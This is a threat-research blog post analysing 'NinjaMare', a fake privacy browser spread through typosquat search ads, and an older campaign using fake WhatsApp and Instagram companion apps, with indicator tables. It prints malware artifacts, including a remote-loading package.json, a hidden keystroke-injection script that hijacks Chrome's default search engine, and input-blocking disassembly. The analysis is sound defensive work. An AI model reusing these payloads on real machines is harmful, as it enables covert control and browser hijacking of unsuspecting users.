Skip to content

Rubber Ducky in the Sky

September 1, 2026·
Ryan Robinson
,
Joakim Kennedy
AI Generated Summary
  • Initial discovery: A file in an employee’s downloads folder was too large for the endpoint tooling to inspect. Nothing flagged it as bad; it simply went unexamined.
  • How it arrived: The employee bought a new mouse, followed the setup URL printed on the box, and mistyped a single letter. .con isn’t a valid TLD, so the browser ran a Google search instead. The top hit was a paid ad on a lookalike domain, which passed through a traffic broker to a landing page for a “privacy browser”.
  • Delivery: The landing page uses a Google reCAPTCHA gate, then serves an MSIX single-click installer. VirusTotal detection sits between zero and two depending on the day.
  • The application: A functional web browser with no privacy-focused improvements found during analysis. It splits into a GUI and an engine — the engine being NW.js with custom extensions.
  • GUI is never on disk: The interface is always fetched from a remote server rather than bundled locally, so the malicious instructions never touch the victim’s filesystem and can be changed without updating the installed application.
  • Remote execution: The NW.js engine carries a hidden synthetic input injection capability. It can launch an application and inject mouse and keyboard input into it — effectively a USB Rubber Ducky operated over the internet.
  • Evasion: Waits at least seven minutes of machine idle time before acting, moves the browser window off-screen during injection, then restores it to its previous state.
  • Geolocation gating: Countries fall into Tier 1 (US, CA, GB, DE, FR, IT, ES, SE, NL, AU — search hijack plus extensions), blocked (nothing happens, likely to avoid local law enforcement attention), or other (extensions only).
  • Observed vs. possible: Only search engine hijacking and browser extension installs have been seen. The injection engine is generic enough to drive any application, including spawning PowerShell to download and execute further payloads.
  • Why MSIX: Clean install experience through Microsoft’s App Installer, publisher branding, and — for Store-distributed packages — a signature from Microsoft’s own infrastructure. Packages contain hundreds to thousands of files, giving plenty of room to blend in.
  • The operators’ mistake: MSIX packages built with the MSIX Packaging Tool capture the build environment. The documentation calls for a clean machine; they didn’t use one.
  • What leaked: Registry hives in the package exposed the build machine — the user account name, Start menu cache, and UserAssist entries. Development tooling (nvm/Node, VS Code, TortoiseGit, Paint.NET, MSIX Packaging Tool) sat alongside Telegram, AdsPower, GeoEdge’s GeoVPN, and Studio 3T.
  • Not a disposable build box: iCloud, Netflix, WhatsApp, and Spotify were installed too — the packaging process leaked the developer’s day-to-day environment as well as the operation’s.
  • The pivot: File paths throughout the registry data led to an earlier iteration of the same activity, using a very similar infection chain.
  • The older campaign: Fake companion apps for WhatsApp, Instagram, Facebook Messenger, Tinder, and Wikipedia, distributed via free software hosting sites. NSIS installers dropped an NW.js application with a registry run key for persistence.
  • Host profiling: A compiled NW.js module (report.bin) profiled the host and reported back, including a driverquery check for the npf.sys packet capture driver — an anti-analysis test for machines running network monitoring.
  • Two paths to change behaviour: JavaScript retrieved from the server and executed inside the running NW.js process, or AutoUpdate.exe replacing the application binaries on disk.
  • Weak update mechanism: The updater performs no hash or signature verification on downloaded files before placing them in the application directory and executing them.
  • Timeline: Network activity from scripts submitted to VirusTotal in January 2016 puts this activity at ten years and counting.

Introduction

An alert that says nothing was found is not usually the start of an investigation. This one was. A file had landed in an employee’s downloads folder. The EDR said it was fine but our custom detections identified something strange with the file. It is not in our nature to leave something unclassified.

The employee had bought a new mouse, followed the setup instructions printed on the box, mistyped a single letter of the address, and downloaded what a search advert offered instead. It called itself a privacy browser. We found nothing in it that protected anyone’s privacy. On VirusTotal the detection count hovers between zero and two, depending on the day.

Inside it was a remote control engine, delivered through channels people are told they can rely on and signed off by institutions each trusting the one before them. The build machine was somebody’s everyday computer, put together without following the documentation. Following the threads presented. We found a campaign that goes back at least a decade.

Squeak Squeak

Earlier this year, we got a true infection case sent to us from our internal security team. An employee had bought a new mouse for their computer and, during the setup of it, inadvertently downloaded something malicious. The installer and the application were not flagged by the EDR in any way; as of this writing, the malicious part of the application is undetected on VirusTotal. The installer is submitted daily to VirusTotal and is detected by zero to two engines depending on the day. Even though this “application” could be classified as a potentially unwanted application (PUA), antivirus engines are good at detecting known PUA software. We decided to take a deeper dive.

The infection started with a simple mistyped letter on the keyboard. The employee followed the instructions to install a companion application. The instructions are shown in the figure below.

Figure 1: Photo of the instructions included with the mouse to download a companion application.

During the entering of the domain in the instructions, the “m” in the domain name was mistyped with an “n”. Since “.con” is not a valid top-level domain, the browser performed a Google search instead. The top hit was an ad with a similar-looking domain, which, when clicked, eventually sent the user to a landing page for a “privacy browser”. The chain is shown in the snippet below.

Google search: "www.mxsetup.logi.con"
 └── Ad linking click: www.mxsetuplogi.com
     └── Traffic broker: https://autrossn.com/xfc/fdci?s=<tracking blob>
         ├── Landing page: https://lpic.prvbrws.com/?clickid=...&tag=dm&dkw=mxsetuplogi.com
         ├── Payload download: blob:https://lpic.prvbrws.com/...
         └── Post instal page: https://lpic.prvbrws.com/thank-you

A screenshot of the landing page is shown in Figure 2. It uses Google Recapcha to ensure the user is human. Once the user passes the CAPTCHA, an MSIX installer is downloaded, which is a single-click installer.

Figure 2: Screenshot of the landing page serving the PUA.

PrivacyBrowse With a Twist

The application was a web browser. From the name, we assume it’s marked as a privacy-focused browser. It is a functional application; Figure 3 shows a screenshot of the application. Through our analysis, we did not discover any privacy-focused improvements.

Figure 3: Screenshot of the Private Browser application.

The application consists of two parts: a GUI part and an engine. The “engine” is NW.js with some custom extensions to support the nefarious functionality. NW.js allows the use of web technologies to build native looking applications. It makes it easier to target multiple operating systems. These technologies essentially are web browsers that are restricted to one site. Most applications include the web resources and access them from within the application folder. This PUA does it differently. It always fetches the content from a web server. In this version of the application. The domain used to host the GUI has appeared on and off Umbrella’s Top Million Domain list since December 2025. We have only seen this application hosted on this domain, so our assumption is that the traffic represents usage of the application.

The NW.js engine has been extended to include a hidden remote execution functionality. The functionality is implemented via a synthetic input injection engine. The engine can start an application and inject mouse and keyboard inputs to the application, allowing the operator of the PUA to perform anything on the machine that a user can. Essentially, the functionality is similar to what can be achieved with a USB Rubber Ducky but over the internet. The inputs are sent by the GUI, and since that part of the application is never on the disk of the machine, it’s hard to identify the nefarious functionality.

The remote execution instruction is coded into the GUI part of the application. Since it’s hosted on the operator’s infrastructure, it can be changed without having to update the installed PUA. The functionality we have observed is to hijack the user’s default search engine in the web browser or to install browser extensions. The PUA takes many precautions not to get detected by the user. First, it waits at least 7 minutes after the machine has been idle before starting. The browser window is moved off-screen, so if someone is watching the screen, they won’t see the effects of keystroke injections. Once it’s done, it restores the window to its previous state.

The PUA is using geolocation to determine what to perform. All countries are part of one of three groups: Tier 1, blocked, or other. The tier one countries are: US, CA, GB, DE, FR, IT, ES, SE, NL, AU. Users in these countries have both the search engine changed and browser extensions installed. The blocked country list is likely used to prevent bringing attention to local authorities; if the user is in a country on this list, nothing nefarious is performed. Users in other countries just have the extension installed.

Figure 4: List of the Tier 1 countries: United States, Canada, United Kingdom, Germany, France, Italy, Spain, Sweden, Netherlands, and Australia.

The GUI tracks all the campaigns that have been executed on the machine. It’s stored in localStorage, and there is some code to migrate from an old format to the current one. This migration code, shown in the snippet below, identifies three historical campaigns.

/*  
*       Normalize a localStorage data structure for Emu history as a JSON Object with the following:     
*       emuHistory =   
*       {  
                [         
                        emuType: <TYPE>,  
                        emuTS: <TS>,  
                        emuItem: <itemID>  
                ]  
*       }                 
*/  
if (!localStorage.emuHistory)  
{  
        if (localStorage.emuTS && localStorage.emuType)  
        {  
                var emuType = parseInt(localStorage.emuType);  
                var emuTS = parseInt(localStorage.emuTS);  
                var emuId = '';  
                if (localStorage.emuType == 3)  
                {  
                        emuId = 'lionstab';  
                }  
                else if (localStorage.emuType == 2)  
                {  
                        emuId = 'topnotch';  
                }  
                else if (localStorage.emuType == 1)  
                {   
                        emuId = 'streamio';  
                }  
                logEmu(emuType, emuTS, emuId);  
        }  
}

While the PUA “only” installs extensions and modifies the browser’s default search engine, a threat like this should still be taken seriously. A browser extension can be granted very powerful access to the content a user is viewing in a web browser, which can lead to unauthorized access to enterprises’ private data. Currently, we have only observed the injection engine used to control a browser window; the implementation is generic enough to control any application on the machine. For example, the operators could spawn a PowerShell terminal and inject code to download and execute malware.

Pretty Little Bow

Using MSIX as a delivery mechanism is not new, but it is still a very effective way to bypass defenses. The VirusTotal detection rates of these files are often 0.

Figure 5: Screenshot showing the clean detection in VirusTotal.

There are a few reasons MSIX is an attractive delivery mechanism for malware developers. From the victim’s point of view, it provides a much cleaner installation experience than being asked to run an unfamiliar executable. The package is opened through Microsoft’s App Installer, which gives the process a polished Windows interface with application branding and publisher information. In a campaign that already relies on convincing the victim that they are installing legitimate software, this helps the installer feel like a normal part of Windows rather than something obviously suspicious.

MSIX can also benefit from Microsoft’s signing infrastructure when packages are distributed through the Microsoft Store. Once accepted, the package distributed to users is signed by Microsoft, which removes much of the friction normally associated with an unknown publisher.

MSIX signing chain
└─ 9A1AB723-7EB8-4FA1-A268-BC4765499F15
   [leaf / package signer]  expires Oct 17 10:08:01 2024 GMT
    ⤷ the developer's Store publisher identity (the actor)
   └─ Microsoft Marketplace CA G 023
      [intermediate CA]  expires Apr 11 17:45:41 2029 GMT
      └─ Microsoft MarketPlace PCA 2011
         [intermediate CA]  expires Mar 28 21:19:39 2031 GMT
         └─ Microsoft Root Certificate Authority 2011
            [root CA — not embedded in package, trusted by Windows]

The format itself gives the attacker plenty of room to blend in. An MSIX package is essentially a structured archive containing a manifest and the files required by the application. These archives can contain hundreds to thousands of files. In these samples there was very little obviously malicious content in the package itself.

The downside for the malware developers is that MSIX can preserve much more of the build environment than they probably intended. The packages contained registry hive files used by the application’s virtualised environment, and these turned out to be particularly valuable. When packages are built using the MSIX Packaging Tool, the tool monitors an installer running on a real system and records the changes it makes; to quote the official documentation for the MSIX Packaging Tool:

A clean machine for conversion is important because during the installation step of the MSIX Packaging Tool, we will be listening to everything in the environment to capture what the installer is doing. A clean machine means that there aren’t extraneous apps or services running on your machine that could get captured in your package.

Failing to follow this process, as the malware authors did, can capture more than the application actually needs, leaving fragments of the builder’s own registry inside the finished package.

In the case that we have encountered during this research, these hives gave us a surprisingly detailed view of the machine used to build the samples. The name of the user account, and artifacts such as the Start menu cache and UserAssist entries allowed us to recover a good portion of the installed software and recently used applications. The machine contained the expected development tooling, including Node through nvm, VS Code, TortoiseGit, Paint.NET and the MSIX Packaging Tool, alongside Telegram. More interestingly, AdsPower and GeoEdge’s GeoVPN were also installed, which fit well with an operation centred around advertising traffic.

Figure 6: Registry data showing some of the installed applications on the build machine.

It was also clearly not a clean or disposable build machine. Personal applications such as iCloud, WhatsApp and Spotify were present alongside the development tooling, which meant the packaging process leaked traces of both the operation and the developer’s day-to-day environment. The strongest leads come through file paths left throughout the registry data, uncovering a previous iteration of this activity.

Time…

Analysing the keys in the registry hives, allows for interesting metadata pivots. This uncovers a previous campaign from the same actor. A campaign that is at least 10 years old, using a very similar infection chain to NinjaMare.

The infection chain starts by getting the user to download an application related to a current application that they may currently use. Most prominently WhatsApp, but also Instagram, Facebook Messenger, Tinder, Wikipedia to name a few. The files are distributed via a number of free file software hosting sites.

Figure 7: Installer for application from previous campaign being served on free software hosting sites.

This application is an NSIS installer. During the installation of the file, the NSIS installer unpacks a number of files and creates a persistence registry run key for a NW.js application. The persistence triggers the NW.js application to run silently in the background. The app points to a HTML page that imports a JavaScript file.

Figure 8: NW.js Package configuration.
Figure 9: HTML importing malicious JavaScript file

The JavaScript file is a NodeJS application. The script will execute a compiled JavaScript binary called report.bin. The report.bin file is a compiled NW.js module used to profile the host and report information back to a remote server. One of its more interesting checks involves running driverquery and looking for the npf.sys packet capture driver, which is commonly associated with tools such as WinPcap/Npcap. In context, this appears to act as a basic anti-analysis or anti-sandbox check, allowing the malware to identify systems that may be running network monitoring software. Machines matching this condition are then assigned a crude internal label, as a classification logic. The module also builds its reporting URL from several smaller string fragments and appears to retrieve JavaScript from the remote server. That JavaScript can then be handed back to the main script for execution, effectively giving the server a way to change or extend the malware’s behaviour without shipping a new copy of the application.

The remainder of main.js acts as the controller for the application. In addition to handling the local storage, reporting and execution of JavaScript received from the remote server, it is also responsible for launching the separate AutoUpdate.exe component when the application needs to update itself. This gives the operators two different ways of changing the malware after installation: they can supply JavaScript for immediate execution inside the running NW.js process, or have main.js invoke the updater to replace the application files on disk.

Figure 10: JavaScript snippit running backdoor .NET application

AutoUpdate.exe is a small .NET updater which reads AutoUpdater.config, retrieves a remote XML manifest, compares the advertised file versions against those installed locally and downloads replacements into a temporary directory. If an update requires a restart, it terminates the running application, replaces the existing files and launches the updated executable, with a basic rollback mechanism available if the process fails. Notably, the updater performs no hash or signature verification on the files it downloads before placing them into the application directory. The recovered configuration has this mechanism enabled and points it back to the same whatsapptime.herokuapp[.]com infrastructure, where it requests a remote update manifest for the malware and tracks the versions of the main executable and several supporting NW.js files.

Figure 11: Configuration file for Autoupdater binary

The main risk is that the application gives its operators several ways to change what runs on an infected system after the initial installation. JavaScript can be retrieved from the remote server and executed directly inside the NW.js process, while main.js can also launch the updater to replace the application binaries themselves. The update process is particularly weak because downloaded files are not verified with a hash or digital signature before being copied into place and executed. This means that compromise of the update infrastructure, local configuration, or network path could be used to deliver arbitrary code, while the existing reporting and host-profiling logic gives the operators a way to tailor that behaviour to individual systems.

Based on the network activity of scripts submitted to VirusTotal in January of 2016, this activity has been occurring for at least 10 years.

Indicators of Compromise

NinjaMare Wave

SHA256Package URLApp Name
06a044644b0b896c72800c9dfc1ec1770b46001a8f8a21fb3ba28949e52120efhttps://pdfcdn[.]pdfplus[.]app/pdfplus/src/browser[.]htmlPDFPlus
0a0b6d419aa7520ff29ac5cec8d1a4a89096319774cf481127a92048566eeb91https://pgcdn[.]privacyguard[.]app/privacy/src/browser[.]htmlPrivacyGuard Browser
122cc8665410ccbbef1ca08e07baa824bce89378f0d2590ad6c8e69018a8dd3ahttps://cdn[.]safe-scan[.]info/safescan/src/browser[.]htmlSafeScan
1624e398132a247c73177d7f2c30699b59c8c6b1c4db7cfc9db4be8b9ac82a22https://cdn[.]stealth-guard[.]app/stealthguard/src/browser[.]htmlStealthGuard
1a1aa66e1ba32b2574e17547f0d30202ca4c52c1a57c2c9da3e0f9a053989be0https://cdn[.]privacy-keeper[.]app/privacykeeper/src/browser[.]wv[.]htmlPrivacyKeeper
24ec63f3976d04f5e7a7f229ae76301bd1ca6099016d65a727d1c33459853847https://cdn[.]net-guard[.]app/netguard/src/browser[.]htmlNetGuard
2632787e4b1661cb73e313e8d93e6d8981bb6cafe6daada5d6ffa44d850999afhttps://cdn[.]hush-browse[.]app/hushbrowse/src/browser[.]htmlHushBrowse
3316a4a24270ec8b268ea07635c66de2dd0c24776b834f60529f2d9b1104479fhttps://cdn[.]safe-mail[.]app/safemail/src/browser[.]htmlSafeMailApp
38fd1fa146c18d865083228ce5d909e1c071edf45ab281016be696d858909e9ahttps://cdn[.]guard-mate[.]app/guardmate/src/browser[.]htmlGuardMate
53f6bf07f9591064da3dd9a640d9352aac2212e721a5b2f6a75f15353a2079achttps://cdn[.]safedomain-guardian[.]app/safedomainguardian/src/browser[.]htmlSafeDomainGuardian
63f043de4e769f46838e4891e2fc96b247ebeee2806240874867ca5d343d5e33https://cdn[.]leakmonitor-live[.]app/leakmonitorlive/src/browser[.]htmlLeakMonitor Live
65c9f218db83f0d8f8a8aef8541a1fdab9b5bc8851dccb113fed7adf5d15e290https://cdn[.]securi-guard[.]app/securiguard/src/browser[.]htmlSecuriGuard
666d5988daba77d91ee1383327d78670feb10a554f2b20af9d62d5a592a2ec75https://cdn[.]stealth-browse[.]app/stealthbrowse/src/browser[.]v2[.]htmlStealthBrowse
6ba8fe022212713ffaec8940c3bd023e75528c4d2d00d1f69accb766ba241f15https://pbcdn[.]privacybrowse[.]app/privacybrowse/src/browser[.]htmlPrivacyBrowse
6d4fca33a47009ec718f30f2e66d1122d7b1d40e1b42249725ca3342be9c1778https://cdn[.]privacy-keeper[.]app/privacykeeper/src/browser[.]wv[.]htmlPK
6f89cbe7c4310c337603f11ec0218e64a10d3c09bb60d6047caeed298514340ehttps://pdfcdn[.]pdfapps[.]online/brightpdf/src/browser[.]htmlBrightPDF
7a8ac6b50ce1dfb8916e79e184ad17fa9c3284a0134a0eac76bb1f300e33be8chttps://cdn[.]safe-browse[.]app/safebrowse/src/browser[.]htmlSafeBrowse
803b58b51899fda3ae78ea1afdaf7cb27cf2bbd15e24f2f4206d56814483610fhttps://gptcdn[.]gpt-browser[.]com/gpt/src/browser[.]htmlGPTBrowser
851bfa0eae13c38a7580bd542d8b5b283d811719699129be1a34c09e185efee9https://cdn[.]privacy-keeper[.]app/privacykeeper/src/browser[.]wv[.]htmlPrivacyKeeper
871f83a2cbcbcf5edf16d532acbec3ff7d5e15fdbb308d47f46bcf7fdeb30159https://cdn[.]private-browsing[.]app/privatebrowsing/src/browser[.]htmlPrivateBrowsing
8ed91cb0478f21a23bbf6ca23b9577c90fe9eedff6cb3fe4effbf90a52564b9chttps://cdn[.]securepass[.]info/securepass/src/browser[.]htmlSecurePassApp
961b50c8419d220d479a7e029f0cf4aeb1233ed3b21ff9f8b3bca8f23adfd434https://cdn[.]safe-net-check[.]app/safenet/src/browser[.]htmlSafeNetApp
abb9c26f58962a19ea1362c859dca5b7dd59216858e38ec6c15258d1489cda38https://cdn[.]cool-pdf[.]app/coolpdf/src/browser[.]htmlCoolPDF
af1a553afa5ca2c138665e7ea1821c08cb7ef5931660c7d85eaed856164bf132https://tencdn[.]ten-browser[.]com/ten/src/browser[.]htmlTenBrowser
afa2250fb08d3c47b09ee5dca817fd686f4196e22d834993dc8a9ac36630c22ehttps://cdn[.]safedomain-guardian[.]app/safedomainguardian/src/browser[.]htmlSafeDomain Guardian
bebd647687d3f57b4f1077eba829ae0353546179f2d7170faab769fae7e61c15https://cdn[.]stealth-browse[.]app/stealthbrowse/src/browser[.]htmlStealthBrowse
c054e260401d7b203382752666b03f334312eb019a1483fc04d348e5acbcdb5bhttps://cdn[.]securi-guard[.]app/securiguard/src/browser[.]htmlSecuriGuard
c78bab0006476441720a40dfc201d1134a97906b74c544e2e2c22812de576e59https://cdn[.]guard-glider[.]app/guardglider/src/browser[.]htmlGuardGlider
c96fcb15d8fbcf555fa2f1e7502610348caa3220dd9c29fdab4d05625f0fa5e9https://cdn[.]call-guard[.]app/callguard/src/browser[.]htmlCallGuard
d36c8f2dc20938345bb5969995472ddb02b47590fb0a32613659026912447b1ehttps://cdn[.]privacy-shield[.]app/privacyshield/src/browser[.]htmlPrivacyShield Browser
d47515fd5abbef216a3e855ab5275702b6f461d07d8ee911eb5c605541b7365fhttps://cdn[.]quick-pdf[.]app/quickpdf/src/browser[.]htmlQuick PDF
d4fd6ea43624344dd7f4715402141cc3ddb0a17c76e34a08e5dd672075040b4ehttps://cdn[.]stealth-guard[.]app/stealthguard/src/browser[.]htmlStealthGuard
d66895d8da6d5eb1d8658647c80f66dce40236c06bb600f1c62a44a657f923b3https://cdn[.]safe-watch[.]app/safewatch/src/browser[.]htmlSafeWatch
e2e0c160d7f9550f3bc61ee28a714567b649c6e32634a8e7b4b8c8885d821baehttps://cdn[.]privacy-keeper[.]app/privacykeeper/src/browser[.]wv[.]htmlPrivacyKeeper
e9cfdcb18bb4c54802b7214a226d983c0015bb37e41a39a4d293d4e674fa94c8https://cdn[.]leak-guard[.]app/leakguard/src/browser[.]htmlLeakGuard
ea2d72cb87c93f447be6502690328f441fdf2fa665d12938bb294bbd18855aebhttps://cdn[.]watchitonline[.]app/watchthisonline/src/browser[.]htmlWatchThisOnline
f0762b9c85027acb99ca26177ebf58bdf84d2d5e4401296c7ce95788280ece10https://cdn[.]safe-guard[.]app/safeguard/src/browser[.]htmlSafeGuard Browser
f7da16d3260ebee5b30cc23613aad6dd9e28aaee31aeb00075acd9fa5aee9855https://cdn[.]safe-mail[.]app/safemail/src/browser[.]htmlSafeMailApp
fc577d03d84db5fd5f973afcf3e595d4471244d7bb71566b1dcf490e161aad2bhttps://cdn[.]stealth-guard[.]app/stealthguard/src/browser[.]htmlStealthGuard
ff5b9aa8094e962b1803d011730c9278afbfb42aa3dac9f71ebe78449218728ahttps://cdn[.]safe-drop[.]app/safedrop/src/browser[.]htmlSafeDrop

Whatsapptime Wave

SHA256App Name
0a5b182b941c555fb719cbbfde83e27effc774bde30d567ebf48012475ee0bbawhatsappTime
114383bc58403c902da99a407855ce5693997f112db435e813ba93f3f4c2234bInstaTime
1a6c3066f276e1ab72d433d02f89c9aeea027fa7a596b1bd4072624a04532573BibleTime
22569d4409ca2b31536d2a3891bf6c95e0d499286fca99218498f5309071f22bDailyWiki
22b0cd0eb7116ef53818bdd71fcb70eda428f3496d93ab5aefebdccddcc9049dBibleTime
2974015293d0ea9eef1f1e5c4a35c1c0864ec1c5bfb01c6a66bebc323cbebc85BibleTime
2c3949e0a5773bc32fd195689ce2bf81367fb8b5078039de5b66022eca34e5e3BibleTime
32ea46c5c6fbe5430976c309138a6a5c98008e157fe6b07814d748c8b23aeabdInstaTime
391cde45f897ce8dd122ab5953d9ec8125e11d59a36f7947af5a7c564fcb75fewhatsappTime
45cec7399fd13ae5a332aee512357a7f2824d56964cd14eeb4faa79b091f9500FacebookTime
48aef01a7b7d829e4338f2ca4a02a27449fbbb603615ef7fc3fd912f2e3fe590InstaTime
49438046e77fd6713cb61de1a4c0daf2644661894511c42e2bfdee5bdcf8a317BibleTime
50e1c5b515ff630a4b2932a775381aeab7a47763b72e6517c5cd505f8a101990InstaTime
5159d6a02087baf420e5eb87faf7e0e36c93e406037b66d2ed01422defbd89c3WikiZ
5485f53768d47d871979a6508b1df83ce36e2df959828076865ffa59d2510e37TinderTop
5a78817f3677c46ca8a53b327a66bc78947937722c234274ea776f5456c4c807DailyBee
5edc6f867109ccb74164bb86b802c326ed9eef52e1c97465066646351d57af20BibleTime
6082907ec2e9e33ac37c3238fa1dc70969c656047f14874bca7a424c895f6bacInstaTime
6439cf936a93d8295addd87c4fcc38b7c039fd810056aabe8d9965e5b8d6626eInstaTime
71946e214a84f78b592085a3cc70a7c4c0483ebdd2a2ea3e08a8b7b3ea80a2a3InstaTime
72108633a3b28f71e1f6c3391014beb1bde81d0a8fcc98c6ae2ae0083e9dc6dbWikiTime
7309fe2138b9ecf7938f23d2a56c411b64007e95a8744f00aeb7c9a611b63f23WikiZ
7bc2ad2081f91ee2f0aa7ced3639522972595920b03bd8b63b66949f487931b7whatsappTime
7d237db2480d985daad65900f8178163f6b7488f0b4d44457b31e9d98e026d73whatsappTimeBeta
85e2061fe5233491da99acfe71700e21a3a51bb254380003a7dbd989fafdc7f3DailyWiki
8b618342de180aad482b77d449fd65c10fa05be4d9a464c42d8f3cb0ebc0311bTrailerTime
8fe6c09588eb1579ff219b290ccbed0c3af7b96753f91f14bda7d5f6679504bawhatsappTime
9b48386c2605b27a9c6da7c8bc3e9e0e2f13243199975cb7c8546f3dd319b423InstaTime
9cf1af42f8ddfee3c847e4b1dde826b9306480e2d7c9f058c85a49862edd0f8eMessengerTime
a2ff2df4198eaf6902d3dd6559953c77537bf748fca7e2cd40372174afca6656InstaTime
ae2cb3f9563c7545797ad60ba441df9e2390ccdfecc8a6e07dcf566753baa2f4DailyBee
afea5c375c5fc30078ca56a589b9e86afae8a095635d07a5e72e7a22d15fc023InstaTime
b0067e66c12bc72f2ebd0e31a886533cbae392b7b14ce06d04ee7a164749a9c6BibleTime
c8e55a7ad6a33a2cb2a0d9508f94ff868a758de031ad0e1df51df16533fe6dd8InstaTime
c986ba426f073c511af8142a8dcbbc545807a82f950971275bf4ae3129e29f6awhatsappTime
d292886ddfaf1d976872c342c74ec6744226f844777a01a85d103bedb128b6c7WhiteSmoke
d2f522280d5d9cb5b244240b44118974771d184e5a7a7605b5032cb78805f643BibleTime
dd7ce55cb5422a51d9bfc8034628d3ad63c142df1b21cec1fa3ec66ec9137240MessengerTime
e0755ca4e83f9f0a7397ebd63c4ed2dfa67ce497f3c7e8021997bc63a1f2fef7UnitConverter
e7e30fbc9dbbbd28402b977f8460756e04fd98b6d5c1e5957c76fe57225a0a06whatsappTime
e7f5f7eee0f9224b00e7bcde9e22ab4a1f5cb2b1a8c16b2596c4951da74e8101whatsappTime
e98ccaf92814c77fac6c6dc28abe78e90a107488934cde19b48f10becaa4e428WhatsappTime
f1be8ef3534496c7a053d38fd74de44f191f87727d4c28a328c5efceca40b583InstaTime

Appendix A - NinjaMare Technical Analysis

NinjaMare Technical Analysis

NinjaMare is a PUA that installs browser extensions and hijacks the default search engine without the user’s knowledge. It consists of two parts: JavaScript that defines the logic and a modified NW.js engine that allows for input injection into any application on the machine. The JavaScript is fetched from a server every time the application runs and is never written to the disk. The package.json file in the installation directory tells NW.js where the main entry point is located. The package.json for a NinjaMare sample is shown below. It also has set node-remote to accept loading resources from any location. This is a specific field for NW.js to enable remote loading of the web resources.

{
    "name": "PrivacyBrowse",
    "version": "1.12.78",
    "description": "Protect your privacy with a simple browser that lets you focus on what matters most.",
    "main": "https://pbcdn.privacybrowse.app/privacybrowse/src/browser.html",
    "nodejs": true,
    "node-remote": "*://*",
    "dependencies": {
        "axios": "^1.3.4",
        "cheerio": "^1.0.0-rc.12",
        "font-awesome": "^4.7.0",
        "tar": "^6.1.13",
        "universal-analytics": "^0.5.3"
    },
    "window": {
        "icon": "./images/icon256.png",
        "width": 1180,
        "height": 720,
        "show": false,
        "frame": true,
        "show_in_taskbar": false
    },
    "webview": {
        "partitions": [{
            "name": "trusted",
            "accessible_resources": [
                "<all_urls>"
            ]
        }]
    },
    "webkit": {
        "plugin": true
    },
    "icons": {
        "256": "./images/icon256.png"
    },
    "chromium-args": "--ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=23.0.0.162 --enable-widevine-cdm --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --widevine-cdm-path=widevinecdmadapter.dll --widevine-cdm-version=1.4.8.903",
    "js-flags": "--expose-gc"
}

The HTML file loads JavaScript, CSS files, and other resources used to display the application to the user. The file of interest is the JavaScript file called start.js; it holds most of the application logic and the input injection logic.

JavaScript Orchestrator

When the application is started for the first time, it records the time as its “birthday”. This timestamp is used as a hard gate; nothing nefarious is performed until at least 12 hours after the initial startup. After this time limit, it uses a soft limit of 30 seconds. Once this is met, it waits for the machine to become idle for more than seven minutes before performing its actions. The logic is shown in the diagram below.

setTimeout(emuTerms, 30000)              ← 30s after app start
└── emuTerms()
    ├── getVariant(type, history)         ← select next untried variant
    │   └── popUID(variants)              ← substitute %USERID%, %BDTS%, %TAG% tokens
    ├── getActivity(secondaryLogic)       ← C2: /checkActivity/<uid>
    └── manageBrowser(variant, type)
        └── eHandler(initFn, variant)     ← 7-min idle gate
            └── initEdge/initChCs/initFF/initCh/initSuite(variant)

NinjaMare targets Chrome, Edge, and Firefox. The logic is similar for each browser. It creates a JSON payload to send to the engine. The payload contains a command to run if the browser isn’t running, a regex used to find the window of the browser, and a list of actions to the engine. The code snippet below shows the payload used for Google Chrome.

var emuSettings =
{
  cmd: "chrome",
  cmdParams: "--profile-directory=Default",
  appRegex: ".* (-|–) Google Chrome",

  actions: [
    {type: "focus", params:[]},
    {type: "resize", params:[660,660]},
    {type: "movewindow", params:[parseInt(screen.availLeft - 650), parseInt(screen.availTop - 100)]},
    {type: "sleep", params: 300},
    {type: "shortcut", params: ["VK_LCONTROL","VK_T"]},
    {type: "sleep", params: 3000},
    {type: "shortcut", params: ["VK_MENU", "VK_D"]},
    {type: "sleep", params: 100},
    {type: "text", params: "chrome://settings/searchEngines"},
    {type: "sleep", params: 300},
    {type: "key", params: "VK_DELETE"},
    {type: "sleep", params: 300},
    {type: "key", params: "VK_RETURN"},
    {type: "sleep", params: 3000},
    {type: "key", params:"VK_TAB"},
    {type: "sleep", params: 300},
    {type: "text", params: "default-search"},
    {type: "sleep", params: 300},
    {type: "key", params:"VK_TAB"},
    {type: "sleep", params: 300},
    {type: "key", params:"VK_TAB"},
    {type: "sleep", params: 300},
    {type: "key", params:"VK_TAB"},
    {type: "sleep", params: 300},
    {type: "key", params:"VK_TAB"},
    {type: "sleep", params: 300},
    {type: "key", params:"VK_TAB"},
    {type: "sleep", params: 300},
  ]
};

The actions will instruct the injection engine to gain focus of the browser window, resize it, and move it off the screen. Once that is done, it navigates to the settings page for search engines. On the page, it uses keyboard inputs to navigate around on the page, add a new entry to the search engine list, and make it the default search engine. Once the search engine has been changed, it navigates to a website to signal that the actions have been completed successfully before the page is closed. The logic for Edge and Firefox uses the same logic. For Chrome extension installation, the browser navigates to the extension’s page on the Chrome Web Store. It installs the extension as if the user had installed it from the Web Store.

Input Injection Engine

The engine file is over 160 MB in size and contains a lot of benign code. The entry point of the nefarious activity is via the function call nw.App.secSettings(emuSettings). The secSettings function has been added as a native function and can be called from JavaScript code. Since the logic is implemented in C++ and it’s bound to a sandbox provided by a web browser, this function is only restricted to the user’s permissions on what it can do to the machine. It’s a neat port-hole into the machine for the operator.

The engine’s actions can be divided into four phases: parsing the argument passed to the function, converting the action list into an internal representation, locating the application window, performing the actions, and cleaning up. While the logic is being used to manipulate a web browser, it can be used to perform actions on any application on the machine. It even supports additional input functionality currently not used in the campaigns we have seen. The supported commands are: move, click, rightclick, scroll, key, shortcut, text, sleep, focus, minimize, restore, maximize, movewindow, resize, block, unblock, lock, hide, and show.

The first four commands, move, click, rightclick, and scroll, are mouse inputs. Key, shortcut, and text are keyboard inputs. Key uses SendInput to send a single keyboard key event to the window, while the shortcut is used to send a key combination between a key and a modifier. For example, Alt + F4. Text sends a string of characters as keyboard key events to the windows with a 10-millisecond delay between each event to simulate typing. Sleep allows the operator to inject await into the action list. The block and unblock commands allow the operator to disable or enable keyboard and mouse input from the user; this can be used to prevent user intervention. The lock command will just lock the machine. The remaining commands are window events. The code snippet below shows some of the handling for these commands.

;   case 15 == JS "block"    ->  BlockInput(TRUE)
  PUSH       TRUE                                             ; 17f37211 6a 01
  JMP        BLOCKINPUT                                       ; 17f37213 eb 02
;   case 16 == JS "unblock"  ->  BlockInput(FALSE)
